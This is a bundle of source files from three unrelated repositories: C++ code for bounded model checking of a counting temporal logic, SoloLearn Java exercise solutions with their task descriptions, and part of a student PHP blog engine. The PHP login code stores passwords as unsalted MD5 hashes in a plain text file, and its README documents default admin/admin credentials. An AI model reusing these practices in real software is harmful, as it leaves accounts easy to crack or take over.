<< "ip" << i+N_c*k; // ip.push_back(c.bool_const(ipName.str().c_str())); // } // for(unsigned i=0; i<N_c; ++i){ // std::stringstream ipeName; // ipeName << "ipe" << i+N_c*k; // ipe.push_back(c.bool_const(ipeName.str().c_str())); // } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //The above set of loops can be replaced by two loops. //-------------------------------------------------------------------------------------------------- expr subT(c); subT=this->CountTF.substitute(y,z1); //std::cout << subT << "\n\n"; subT=subT.substitute(x,z0); //std::cout << subT << "\n\n"; //std::cout << "v is " << v << "\n\n"; //std::cout << "w1 is " << w1 << "\n\n"; subT=subT.substitute(v,w1); //std::cout << subT << "\n\n"; subT=subT.substitute(u,w0); //std::cout << subT << "\n\n"; subT=subT.substitute(ip,jp); //std::cout << subT << "\n\n"; subT=subT.substitute(ipe,jpe); //std::cout << subT << "\n\n"; //std::cout << "T substituted : " << subT << "\n\n"; //getchar(); return subT; } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //------------------------This method has to be suitably modified.---------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- expr counttl_bmc::compute_loop_constraints_at_k(int k) { //This method computes temp0=T(s_k,s_0) \lor T(s_k,s_1) \lor T(s_k,s_2) \lor \cdots \lor T(s_k,s_k) expr temp0(c); std::cout << "\nIn the compute_loop_constraints_at_k routine with k=" << k << "\n" << std::endl; temp0=instantiate_CountT_for_loop_constraints(k,0);//Initially, temp0=T(s_k,s_0) for (unsigned j=1;j<=k;j++){ temp0=temp0 || instantiate_CountT_for_loop_constraints(k,j);//temp0=temp0 \lor T(s_k,s_j) --- where j=1 to k } return temp0; //temp0 is satisfiable only if there is a back loop from k to some l: 0 \le l \le k } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //------------------------This method has to be suitably modified.---------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- expr counttl_bmc::instantiate_CountT_for_loop_constraints(int k,int j) { //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //This method computes T(s_k,s_j), given k and j. //So, in the formula T, (x_0,x_1,...x_{N-1}) is replaced by (x_{N*k},x_{N*k+1},...x_{N*k+N-1}) //and (y_0,y_1,...y_{N-1}) is replaced by (x_{N*j},x_{N*j+1},...x_{N*j+N-1}) //-------------------------------------------------------------------------------------------------- std::cout << "\nWe are in the instantiate_CountT_for_loop_constraints routine with k=" << k << " and j=" <<j << "\n" << std::endl; std::cout << "\nComputing the formula T(s_" << k<< ",s_" <<j<< ")\n" << std::endl; //-------------------------------------------------------------------------------------------------- /* expr_vector z(c); for(unsigned i=0; i<N; ++i){ z.push_back(x[i]); } expr_vector z0(c); for(unsigned i=0; i<N; ++i){ z0.push_back(x[i+N*k]); } std::cout << "\nz0 that replaces y in T is:\t" << z0 << std::endl; expr_vector z1(c); for(unsigned i=0; i<N; ++i){ z1.push_back(x[i+N*j]); } std::cout << "\nz1 that replaces x in T is:\t" << z1 << std::endl; */ //-------------------------------------------------------------------------------------------------- //We have replaced the above three loops by one loop. //-------------------------------------------------------------------------------------------------- /*-------------------------------------------------------------------------------------------------- expr_vector z(c); expr_vector z0(c); expr_vector z1(c); for(unsigned i=0; i<N; ++i){ z.push_back(x[i]); z0.push_back(x[i+N*k]); z1.push_back(x[i+N*j]); } std::cout << "\nz0 that replaces y in T is:\t" << z0 << std::endl; std::cout << "\nz1 that replaces x in T is:\t" << z1 << std::endl; std::cout << "\ns_" << k<< " is:" << z0 << "\ns_" <<j<< " is:" << z1 << "\n" << std::endl; std::cout << "\nT is: " << TF << std::endl; //subT is T(x,y) with x=(x0,x1,x2) replaced current state z0 and y=(y0,y1,y2) replaced by next state z1. expr subCountT(c); expr CountT=CountTF; subCountT=CountT.substitute(y,z1); subCountT=subCountT.substitute(z,z0); std::cout << "T substituted : " << subCountT << "\n\n" << std::endl; std::getchar(); return subCountT; --------------------------------------------------------------------------------------------------*/ //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- // expr_vector z(c); // for(unsigned i=0; i<k*N_s; ++i){ // std::stringstream xName; // xName << "x" << i; // z.push_back(c.bool_const(xName.str().c_str())); // } // //std::cout << z << "\n\n"; //vector z is not expr_vector z0(c); for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i+N_s*k; z0.push_back(c.bool_const(xName.str().c_str())); } //std::cout << z0 << "\n\n"; expr_vector z1(c); for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i+N_s*j; z1.push_back(c.bool_const(xName.str().c_str())); } //std::cout << z1 << "\n\n"; //-------------------------------------------------------------------------------------------------- //we should not change vector x; they contain the variables x_0,x_1,...x_{N_s-1} which are replaced by //another vector of variables x_{N_s*l}, x_{N_s*l+1},...x_{N_s*l + N_s-1}, for some l, on instantiation //-------------------------------------------------------------------------------------------------- // for(unsigned i=0; i<N_s; ++i){ // std::stringstream xName; // xName << "x" << i+N_s*k; // x.push_back(c.bool_const(xName.str().c_str())); // } //-------------------------------------------------------------------------------------------------- //For counter variables -- why are we using different expression vectors instead of u ? //-------------------------------------------------------------------------------------------------- // expr_vector w(c); // for(unsigned i=0; i<k*N_c; ++i){ // std::stringstream uName; // uName << "u" << i; // w.push_back(c.int_const(uName.str().c_str())); // } // //std::cout << w << "\n\n"; // vector w not required expr_vector w0(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream uName; uName << "u" << i+N_c*k; w0.push_back(c.int_const(uName.str().c_str())); } //std::cout << w0 << "\n\n"; expr_vector w1(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream uName; uName << "u" << i+N_c*j; w1.push_back(c.int_const(uName.str().c_str())); } //std::cout << w1 << "\n\n"; //-------------------------------------------------------------------------------------------------- // for(unsigned i=0; i<N_c; ++i){ // std::stringstream uName; // uName << "u" << i+N_c*k; // u.push_back(c.bool_const(uName.str().c_str())); // } //-------------------------------------------------------------------------------------------------- //For input variables -- why are we using different expression vectors instead of ip and ipe ? //-------------------------------------------------------------------------------------------------- expr_vector jp(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream ipName; ipName << "ip" << i+N_c*k; jp.push_back(c.bool_const(ipName.str().c_str())); } //std::cout << jp << "\n\n"; expr_vector jpe(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream ipeName; ipeName << "ipe" << i+N_c*k; jpe.push_back(c.bool_const(ipeName.str().c_str())); } //std::cout << jpe << "\n\n"; //-------------------------------------------------------------------------------------------------- // for(unsigned i=0; i<N_c; ++i){ // std::stringstream ipName; // ipName << "ip" << i; // ip.push_back(c.bool_const(ipName.str().c_str())); // } // for(unsigned i=0; i<N_c; ++i){ // std::stringstream ipeName; // ipeName << "ipe" << i; // ipe.push_back(c.bool_const(ipeName.str().c_str())); // } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //The above set of loops can be replaced by two loops. //-------------------------------------------------------------------------------------------------- expr subT(c); subT=this->CountTF.substitute(y,z1); //std::cout << subT << "\n\n"; subT=subT.substitute(x,z0); //std::cout << subT << "\n\n"; //std::cout << "v is " << v << "\n\n"; //std::cout << "w1 is " << w1 << "\n\n"; subT=subT.substitute(v,w1); //std::cout << subT << "\n\n"; subT=subT.substitute(u,w0); //std::cout << subT << "\n\n"; subT=subT.substitute(ip,jp); //std::cout << subT << "\n\n"; subT=subT.substitute(ipe,jpe); //std::cout << subT << "\n\n"; //std::cout << "T substituted : " << subT << "\n\n"; //getchar(); return subT; } //------------------------------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------------------- <file_sep>/counttl-formula.cpp #include "counttl-formula.h" //using namespace std; //------------------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------- //---------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------ int main() { //CFO InExps -- For the time being we shall have only l (load) and t (terminate) predicates in the input // No p's (client predicates) and q's (server propositions) // std::string InExp="(l(x))"; // std::string InExp="(t(x))"; // std::string InExp="(#x>1(l(x)))";//--output correct // std::string InExp="(Ex(l(x)))";//--output correct // std::string InExp="((#x:1>1)(l(x:1)))";//--output correct // std::string InExp="((#x:1>1)(t(x:1)))";//--output correct // std::string InExp="((#x<=2)(~(l(x))))";//--input wrong // std::string InExp="((#x<=2)(~(t(x))))";//--input wrong // std::string InExp="((#x:1<=2)(l(x:1)))";//--output correct // std::string InExp="(~((#x>1)(l(x))))";//--output correct // std::string InExp="((#y10<=2)(~(t1(y10))))";//--output correct std::string InExp="(((#x:1>1)(l(x:1)))&((#y:2<=2)(l(y:2))))";//--output correct // std::string InExp="(((#x:1>1)(l(x:1)))&((#x:1>1)(t(x:1))))";//--output correct // std::string InExp="(((#x>1)(l(x)))&((#y<=2)(t(y))))";//--output correct // std::string InExp="(((#x>1)(l(x)))&((#x>1)(t(x))))";//--output correct // std::string InExp="(((#x:1>1)(l(x:1)))&((#y:2<=2)(t(y:2))))";//--output correct //CFOTL InExps // std::string InExp="(G((#x>1)(l(x))))"; // std::string InExp="(G(((#x>1)(l(x)))&((#x>1)(t(x)))))"; // //LTL InExps // std::string InExp="((G(F(p11)))&(~(G(p12))))"; // std::string InExp="(~(G(p12)))"; // std::string InExp="(G(F(p)))"; // std::string InExp="(F(p))"; // std::string InExp="(G(p))"; // std::string InExp="(G(F(X(p))))"; //PL InExps // std::string InExp="(((p1)&(p2))|((~(p2))&(p3)))"; // std::string InExp="((p1)&(p2))"; // std::string InExp="(p1)"; //define a Formula object. This will create a formula object with expression (formula) as raw text. Formula InFormula(InExp); //Using the methods in formula object we compute, first the formula tree and then eliminate quantifiers from the formula. //In this process, we gather necessary data from the formula, which can be used later. std::cout <<"\nThe input formula is:->" << InExp << std::endl; //convert the InExp to InExp tree. bool done=InFormula.ftree_convert(); if(!done){ std::cout<< "\nFormula tree construction fails.\n"; return 0; } std::cout <<"\nFormula Tree Constructed...............\n"; std::cout <<"\nReading the Formula Tree...............\n"; std::cout <<"\nIn infix form:"; InFormula.display_ftree(); std::cout <<"\n"; std::cout <<"\nIn prefix form:"; InFormula.display_ftree_pre(); std::cout <<"\n"; // return 0; //ftree_convert method should also gather the relevant data into //PredList, VarList and PredNum, VarNum data members of the formula object //at this point we can traverse the maps PredNum and VarNum and find the number of variables and predicates of each client type. InFormula.display_lists(); InFormula.display_nums(); return 0; //--------------------------------------------------------------------------------------------------------------- //now eliminate quantifiers /* done=InFormula.quant_elim(); if(!done){ std::cout<< "\nQuantifier Elimination fails.\n"; return 0; } std::cout <<"The InExp with all quantifiers eliminated is as follows:\nIn prefix form:"; InFormula.display_ftree_pre_sub(); std::cout <<"\n"; std::cout <<"\nIn infix form:"; InFormula.display_ftree_sub(); std::cout <<"\n"; std::cout << std::endl; // InFormula.display_lists(); // InFormula.display_nums(); return 0; //----------------------------------------------------------------------------------------------------------------- //At this point we should free all the dynamic memory we created using new, otherwise it will lead to memory leak. //----------------------------------------------------------------------------------------------------------------- return 0; */ }//end of main <file_sep>/README.md # CountTL-BMC BMC Implementation of a fragment of Counting Temporal Logic.
d64aab6ecf4d83925bf4d4f1632701393c699a23
[ "Markdown", "C++" ]
7
C++
sheerazuddins/CountTL-BMC
84cb576d9b205eaeead3809520a3665a47a0c85e
270727e905f0b686a83b1009e6df5598b1e63e42
refs/heads/main
<file_sep># Hovercraft You run a hovercraft factory. Your factory makes **ten hovercrafts** in a month. Given the number of customers you got that month, did you make a profit? It costs you **2,000,000** to build a hovercraft, and you are selling them for **3,000,000.** You also pay **1,000,000** each month for insurance. ### Task: Determine whether or not you made a profit based on how many of the **ten hovercrafts** you were able to sell that month. ### Input Format: An integer that represents the sales that you made that month. ### Output Format: A string that says **'Profit', 'Loss',** or **'Broke Even'.** ### Sample Input: 5 ### Sample Output Loss > ### Explanation: > If you only sold 5 hovercrafts, you spent 21,000,000 to operate but only made 15,000,000. <file_sep>import java.util.Scanner; public class MilitaryTime { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); String time = scanner.nextLine(); String[] splitTime = time.split(":"); // 00:00 - 11:59 = AM // 12:00 - 23:59 = PM if (splitTime[1].substring(3, 5).equals("AM") && ((Integer.parseInt(splitTime[0]) >= 24) || (Integer.parseInt(splitTime[1].substring(0, 2)) >= 60))) System.out.print("Invalid Time"); else if (splitTime[1].substring(3, 5).equals("PM") && ((Integer.parseInt(splitTime[0]) >= 24) || (Integer.parseInt(splitTime[1].substring(0, 2)) >= 60))) System.out.print("Invalid Time"); else if (splitTime[1].substring(3, 5).equals("AM") && ((Integer.parseInt(splitTime[0]) >= 0) && (Integer.parseInt(splitTime[0]) <= 11))) System.out.print(splitTime[0] + ":" + splitTime[1].substring(0, 2)); else if (splitTime[1].substring(3, 5).equals("PM") && (Integer.parseInt(splitTime[0]) < 12)) System.out.print((Integer.parseInt(splitTime[0]) + 12) + ":" + splitTime[1].substring(0, 2)); else if (splitTime[1].substring(3, 5).equals("AM") && (Integer.parseInt(splitTime[0]) >= 12)) if ((Integer.parseInt(splitTime[0]) - 12) <= 9) System.out.print("0" + (Integer.parseInt(splitTime[0]) - 12) + ":" + splitTime[1].substring(0, 2)); else System.out.print((Integer.parseInt(splitTime[0]) - 12) + ":" + splitTime[1].substring(0, 2)); else System.out.print(splitTime[0] + ":" + splitTime[1].substring(0, 2)); } }<file_sep># Paint costs You are getting ready to paint a piece of art. The canvas and brushes that you want to use will cost 40.00. Each color of paint that you buy is an additional 5.00. Determine how much money you will need based on the number of colors that you want to buy if tax at this store is 10%. ### Task Given the total number of colors of paint that you need, calculate and output the total cost of your project rounded up to the nearest whole number. ### Input Format An integer that represents the number of colors that you want to purchase for your project. ### Output Format A number that represents the cost of your purchase rounded up to the nearest whole number. ### Sample Input 10 ### Sample Output 99 > ### Explanation: > You need 50.00 to buy 10 colors of paint + 40.00 for the canvas and brushes + 9.00 for the tax. <file_sep>import java.util.Scanner; public class GothamCity { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); int criminals = scanner.nextInt(); String says = criminals < 5 ? "I got this!": criminals >= 5 && criminals <= 10 ? "Help me Batman": "Good Luck out there!"; System.out.print(says); } }<file_sep># Cheer Creator You are cheering on your favorite team. After each play, if your team got over 10 yards further down the field, you stand up and give your friend **a high five.** If they don't move forward by at least a yard you stay quiet and say **'shh',** and if they move forward 10 yards or less, you say **'Ra!'** for every yard that they moved forward in that play. ### Task Given the number of yards that your team moved forward, output either **'High Five'** (for over 10), **'shh'** (for <1), or a string that has a **'Ra!'** for every yard that they gained. ### Input Format An integer value that represents the number of yards gained or lost by your team. ### Output Format A string of the appropriate cheer. ### Sample Input: 3 ### Sample Output Ra!Ra!Ra! > ### Explanation: > If your team gains 3 yards you would cheer 'Ra!' three times for that play. <file_sep>import java.util.Scanner; public class PrimitiveOperators { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); int math = scanner.nextInt(); int history = scanner.nextInt(); int geometry = scanner.nextInt(); //your code goes here int hours = (math+history+geometry)/60; int minutes = (math+history+geometry)%60; System.out.print(hours+"\n"+minutes); } }<file_sep>import java.util.Scanner; public class HalloweenCandy { public static void main(String[] args) { Scanner input = new Scanner(System.in); int houses = input.nextInt(); //your code goes here int dollarBills = 2; if (houses >= 3) { double chance = Math.ceil(((double)dollarBills / houses) * 100); System.out.print((int)chance); } } }<file_sep># Extra-Terrestrials You meet a group of aliens, and their language is just like English except that they say every word backwards.\ How will you learn to communicate with them? ### Task Take a word in English that you would like to say, and turn it into language that these aliens will understand. ### Input Format: A string of a word in English. ### Output Format: A string of the reversed word that represents the original word translated into alien language. ### Sample Input: howdy ### Sample Output: ydwoh > ### Explanation: > If you flip **howdy** backwards you get **ydwoh.** <file_sep>import java.util.Scanner; public class SkeeBall { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); int points = scanner.nextInt(); int cost = scanner.nextInt(); String isEnough = points/12 >= cost ? "Buy it!": "Try again"; System.out.print(isEnough); } }<file_sep># The Spy Life You are a secret agent, and you receive an encrypted message that needs to be decoded. The code that is being used flips the message backwards and inserts non-alphabetic characters in the message to make it hard to decipher. ### Task: Create a program that will take the encoded message, flip it around, remove any characters that are not a letter or a space, and output the hidden message. ### Input Format: A string of characters that represent the encoded message. ### Output Format: A string of character that represent the intended secret message. ### Sample Input: d89%l++5r19o7W *o=l645le9H ### Sample Output: Hello World > ### Explanation: > If you remove everything that isn't a letter or space from the original message and flip it around, you get 'Hello World'. <file_sep># Military Time You want to convert the time from a 12 hour clock to a 24 hour clock. If you are given the time on a 12 hour clock, you should output the time as it would appear on a 24 hour clock. ### Task: Determine if the time you are given is AM or PM, then convert that value to the way that it would appear on a 24 hour clock. ### Input Format: A string that includes the time, then a space and the indicator for **AM** or **PM**. ### Output Format: A string that includes the time in a 24 hour format **(XX:XX)** ### Sample Input: 1:15 PM ### Sample Output: 13:15 > ### Explanation: > 1:00 PM on a 12 hour clock is equivalent to 13:00 on a 24 hour clock. <file_sep># SoloLearn ## Easy | Description | Java | |:--------------------------------------------------------------------:|:--------------------------------------------------------------------------------------:| | [Argentina](code-coach/easy/argentina/README.md) | [Argentina.java](code-coach/easy/argentina/Argentina.java) | | [Cheer Creator](code-coach/easy/cheer-creator/README.md) | [CheerCreator.java](code-coach/easy/cheer-creator/CheerCreator.java) | | [Extra-Terrestrials](code-coach/easy/extra-terrestrials/README.md) | [ExtraTerrestrials.java](code-coach/easy/extra-terrestrials/ExtraTerrestrials.java) | | [Fruit Bowl](code-coach/easy/fruit-bowl/README.md) | [FruitBowl.java](code-coach/easy/fruit-bowl/FruitBowl.java) | | [Gotham City](code-coach/easy/gotham-city/README.md) | [GothamCity.java](code-coach/easy/gotham-city/GothamCity.java) | | [Halloween Candy](code-coach/easy/halloween-candy/README.md) | [HalloweenCandy.java](code-coach/easy/halloween-candy/HalloweenCandy.java) | | [Hovercraft](code-coach/easy/hovercraft/README.md) | [Hovercraft.java](code-coach/easy/hovercraft/Hovercraft.java) | | [Jungle Camping](code-coach/easy/jungle-camping/README.md) | [JungleCamping.java](code-coach/easy/jungle-camping/JungleCamping.java) | | [Paint costs](code-coach/easy/paint-costs/README.md) | [PaintCosts.java](code-coach/easy/paint-costs/PaintCosts.java) | | [Popsicles](code-coach/easy/popsicles/README.md) | [Popsicles.java](code-coach/easy/popsicles/Popsicles.java) | | [Primitive Operators](code-coach/easy/primitive-operators/README.md) | [PrimitiveOperators.java](code-coach/easy/primitive-operators/PrimitiveOperators.java) | | [Skee-Ball](code-coach/easy/skee-ball/README.md) | [SkeeBall.java](code-coach/easy/skee-ball/SkeeBall.java) | <file_sep># Primitive Operators Students are given homework in math, history, and geometry. The given program takes the time (in minutes) spent on each subject as input. ### Task Complete the program to **calculate** and **output** the total number of hours and minutes spent on homework, each one on a **new line.** ### Sample Input 35\ 40\ 39 ### Sample Output 1\ 54 ### Explanation 1 hour is 60 minutes. In this case the total amount of spent minutes is 114 (35+40+39), which is equal to 1 hour (the first output) and 54 minutes (the second output). > Use **/ operator** to calculate the hours and **% operator** for remaining minutes. <file_sep># Argentina You are in a hat store in Argentina! The prices are listed in US Dollars and Argentinian Pesos. You have both, but you want to make sure you pay the lower price! Do you pay in Dollars or Pesos? The exchange rate is 2 cents for every Peso. ### Task Create a program that takes two prices and tells you which one is lower after conversion. ### Input Format Two integer values, the first one is the price in Pesos and the second one is the price in Dollars. ### Output Format A string that says which currency you should make the purchase in ('Dollars' or 'Pesos'). ### Sample Input 4000\ 100 ### Sample Output Pesos > ### Explanation: > You should use Pesos to buy the hat since 4000 pesos is equal to $80. <file_sep># Skee-Ball You are playing a game at your local arcade, and you receive 1 ticket from the machine for every 12 points that you score. You want to purchase a squirt gun with your tickets. Given your score, and the price of the squirt gun (in tickets) are you able to buy it? ### Task Evaluate whether or not you have scored high enough to earn enough tickets to purchase the squirt gun at the arcade. ### Input Format The first input is an integer value that represents the points that you scored playing, and the second input is an integer value that represents the cost of the squirt gun (in tickets). ### Output Format A string that say 'Buy it!' if you will have enough tickets, or a string that says 'Try again' if you will not. ### Sample Input 500\ 40 ### Sample Output Buy it! > ### Explanation: > By scoring 500 points, you will receive 41 tickets, which is enough to buy the squirt gun at a price of 40 tickets. <file_sep>import java.util.Scanner; public class FruitBowl { public static void main(String[] args) { Scanner input = new Scanner(System.in); int fruit = input.nextInt(); //your code goes here int apples = fruit / 2; int pies = apples / 3; System.out.print(pies); } }<file_sep># That's odd... You want to take a list of numbers and find the sum of all of the even numbers in the list. Ignore any odd numbers. ### Task: Find the sum of all even integers in a list of numbers. ### Input Format: The first input denotes the length of the list **(N).** The next **N** lines contain the list elements as integers. ### Output Format: An integer that represents the sum of only the even numbers in the list. ### Sample Input: 9\ 1\ 2\ 3\ 4\ 5\ 6\ 7\ 8\ 9 ### Sample Output: 20 > ### Explanation: > If you add together 2, 4, 6, and 8 from the list, you get a sum of 20.
c2f99ecf1790e8abffef035d18ba68ee32d17600
[ "Markdown", "Java" ]
17
Markdown
muhrafitriandi/solo-learn
d18a3bd7b7476c0f4166791c042b1505883511ed
c3f68ca4bc0cbfa6fe115c34d1693051401c113e
refs/heads/master
<file_sep>from django.db import models import datetime class Post(models.Model): """Post model.""" title = models.CharField(max_length=200) # author body = models.TextField() publish_date = models.DateTimeField(default=datetime.datetime.now) created = models.DateTimeField(auto_now_add=True) modified = models.DateTimeField(auto_now=True)
1a988d5acaeca0f1ad025def34f283c20edf71a8
[ "Python" ]
1
Python
BenjiLee/chartartar
2d4d71aa0dd0a9c68cee317fa63d5bce048225e7
4412f0f8c0dd48a2e099b7aec4d8499da76a7527
refs/heads/master
<file_sep>## server.R <file_sep>## ui.r
acbc4fe54b4d8758059ca681e951a67b9b73fc45
[ "R" ]
2
R
ramnathv/test-course-r1
105102120e336392ee94887468bf0a0cf13d95d0
d787ccb4f344148192f79355850dc7cba336d378
refs/heads/master
<repo_name>alexborsch/nboardcms<file_sep>/post.php <?php require_once("core/settings.php"); require_once("core/functions.php"); include($themes_dir.$themes_name."/views/head.php"); $link = db_connect(); $posts = posts_get($link, $_GET['id']); include($themes_dir.$themes_name."/views/post.php"); include($themes_dir.$themes_name."/views/footer.php");<file_sep>/admin/core/user_functions.php <?php session_start(); function registerUser($user,$pass1,$pass2){ $errorText = ''; if ($pass1 != $pass2) $errorText = "Passwords are not identical!"; elseif (strlen($pass1) < 6) $errorText = '<div class="alert alert-danger" role="alert">Пароль должен содержать 6 символов</div>'; $pfile = fopen("userpwd/userpwd.txt","a+"); rewind($pfile); while (!feof($pfile)) { $line = fgets($pfile); $tmp = explode(':', $line); if ($tmp[0] == $user) { $errorText = '<div class="alert alert-danger" role="alert">Логин Существует</div>'; break; } } if ($errorText == ''){ $userpass = md5($<PASSWORD>); $reg_date = date('l jS \of F Y h:i:s A'); fwrite($pfile, "\r\n$user:$userpass:$reg_date"); } fclose($pfile); return $errorText; } function loginUser($user,$pass){ $errorText = ''; $validUser = false; $pfile = fopen("userpwd/userpwd.txt","r"); rewind($pfile); while (!feof($pfile)) { $line = fgets($pfile); $tmp = explode(':', $line); if ($tmp[0] == $user) { if (trim($tmp[1]) == trim(md5($pass))){ $validUser= true; $_SESSION['userName'] = $user; } break; } } fclose($pfile); if ($validUser != true) $errorText = '<div class="alert alert-danger" role="alert">Не правильный логин или пароль!</div>'; if ($validUser == true) $_SESSION['validUser'] = true; else $_SESSION['validUser'] = false; return $errorText; } function logoutUser(){ unset($_SESSION['validUser']); unset($_SESSION['userName']); } function checkUser(){ if ((!isset($_SESSION['validUser'])) || ($_SESSION['validUser'] != true)){ header('Location: login.php'); } } ?><file_sep>/admin/templates/head.php <!DOCTYPE html> <html lang="ru"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Панель администратора</title> <link href="<?php echo $admin_templates; ?>assets/css/sb-admin.css" rel="stylesheet"> <link href="<?php echo $admin_templates; ?>assets/css/bootstrap.css" rel="stylesheet"> <link href="<?php echo $admin_templates; ?>assets/css/admin.css" rel="stylesheet"> <script src="<?php echo $admin_templates; ?>assets/scripts/jquery.js"></script> <!--script src="templates/scripts/form.js"></script--> <script src="<?php echo $admin_templates; ?>assets/scripts/popper.js"></script> <script src="<?php echo $admin_templates; ?>assets/scripts/bootstrap.js"></script> <script src="<?php echo $admin_templates; ?>assets/scripts/core.js"></script> </head> <body class="fixed-nav sticky-footer bg-dark"> <nav class="navbar navbar-expand-lg navbar-dark bg-dark fixed-top" id="mainNav"> <a class="navbar-brand" href="/admin/"><?php echo "$a_head"?></a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav navbar-sidenav" id="exampleAccordion"> <li class="nav-item"> <a class="nav-link" href="user.php"> <i class="fa fa-user-circle-o"></i> <span class="nav-link-text"><?php echo $_SESSION['userName']; ?></a></span> </a> </li> <hr> <li class="nav-item"> <a class="nav-link" href="index.php?action=add"> <i class="fa fa-fw fa-plus"></i> <span class="nav-link-text">Добавить публикацию</span> </a> </li> <li class="nav-item"> <a class="nav-link" href="view_count.php"> <i class="fa fa-fw fa-plus"></i> <span class="nav-link-text">Статистика</span> </a> </li> <li class="nav-item"> <a class="nav-link" href="logout.php"> <i class="fa fa-sign-out"></i> <span class="nav-link-text">Выход</span> </a> </li> </ul> </div> </nav> <footer class="sticky-footer"> <div class="container"> <div class="text-center"> <small>&copy; 2018, <NAME></small> </div> </div> </footer> </body> </html> <file_sep>/README.md # nboardcms nBoardCMS - blog engine or news portal, is an open source project. Written in a PHP using a procedural approach. Список системных файлов и настройка: * core/settings.php -> настройки движка, хранит данные для подключения к серверу БД; * templates/* -> директория шаблонов движка. Стандартный шаблон bootstrap Вход в админпанель http://адрес_сайта/admin Логин: admin Пароль: admin Пароль храниться в файле admin/userpwd/userpwd.txt в md5 хеше List of system files and settings: * core / settings.php -> engine settings, stores data for connecting to the database server; * templates / * -> engine templates directory. Standard bootstrap template Login to adminpanel http: // site_address / admin Login: admin Password: <PASSWORD> The password is stored in the admin / userpwd / userpwd.txt file in the md5 hash P.S. Движок написан в рамках уроков веб разработки в школе программирования GO-IT Обновляться скорее всего не будет. The engine is written in the framework of the lessons of web development in the school of programming GO-IT Most likely it will not be updated. <file_sep>/templates/default/views/footer.php </div> </div> <!-- Footer --> <footer class="py-5 bg-dark"> <div class="container"> <p class="m-0 text-center text-white">Copyright &copy; nBoardCMS alpha 0.1 2019</p> <p class="m-0 text-center text-white">source -> <a href="https://github.com/lxbrsch/nboardcms">nBoardCMS GitHub</a> </p> </div> <!-- /.container --> </footer> <!-- Bootstrap core JavaScript --> <script src="<?php echo "$themes_dir$themes_name" ?>/assets/scripts/jquery.min.js"></script> <script src="<?php echo "$themes_dir$themes_name" ?>/assets/scripts/bootstrap.bundle.min.js"></script> </body> </html> <file_sep>/admin/view_count.php <?php require_once("../core/settings.php"); require_once("../core/functions.php"); require_once("core/user_functions.php"); checkUser(); $stats = stats_view($link); include($admin_templates."head.php"); include($admin_templates."view_count.php");<file_sep>/admin/templates/login.php <?php $error = '0'; if (isset($_POST['submitBtn'])){ $username = isset($_POST['username']) ? $_POST['username'] : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; $error = loginUser($username,$password); } ?> <!DOCTYPE html> <html lang="ru"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Панель администратора</title> <link href="<?php echo $admin_templates; ?>assets/css/sb-admin.css" rel="stylesheet"> <link href="<?php echo $admin_templates; ?>assets/css/bootstrap.css" rel="stylesheet"> <link href="<?php echo $admin_templates; ?>assets/css/admin.css" rel="stylesheet"> <script src="<?php echo $admin_templates; ?>assets/scripts/jquery.js"></script> <!--script src="templates/scripts/form.js"></script--> <script src="<?php echo $admin_templates; ?>assets/scripts/popper.js"></script> <script src="<?php echo $admin_templates; ?>assets/scripts/bootstrap.js"></script> <script src="<?php echo $admin_templates; ?>assets/scripts/core.js"></script> </head> <body class="bg-dark"> <div class="container"> <?php if ($error != '') {?> <div class="card card-login mx-auto mt-5"> <div class="card-header">Авторизация</div> <div class="card-body"> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" name="loginform"> <div class="form-group"> <div class="form-label-group"> <input type="text" class="form-control" name="username"> <label for="inputEmail">Логин</label> </div> </div> <div class="form-group"> <div class="form-label-group"> <input type="<PASSWORD>" class="form-control" name="password"> <label for="inputPassword">Пароль</label> </div> </div> <button type="submit" name="submitBtn" class="btn btn-primary btn-block">Вход</button> </form> </div> </div> </div> <!-- Bootstrap core JavaScript--> <script src="<?php echo $admin_templates; ?>assets/vendor/jquery/jquery.min.js"></script> <script src="<?php echo $admin_templates; ?>assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="<?php echo $admin_templates; ?>assets/vendor/jquery-easing/jquery.easing.min.js"></script> </body> <?php } if (isset($_POST['submitBtn'])){ if ($error == '') { echo("<script>location.href='index.php'</script>"); } else echo $error; } ?> </div> </body> <file_sep>/admin/templates/view_count.php <div class="content-wrapper"> <div class="container-fluid"> <div class="card mb-3"> <div class="card-header"> Статистика посещений сайта <ul class="nav nav-tabs card-header-tabs"> <li class="nav-item"> <a 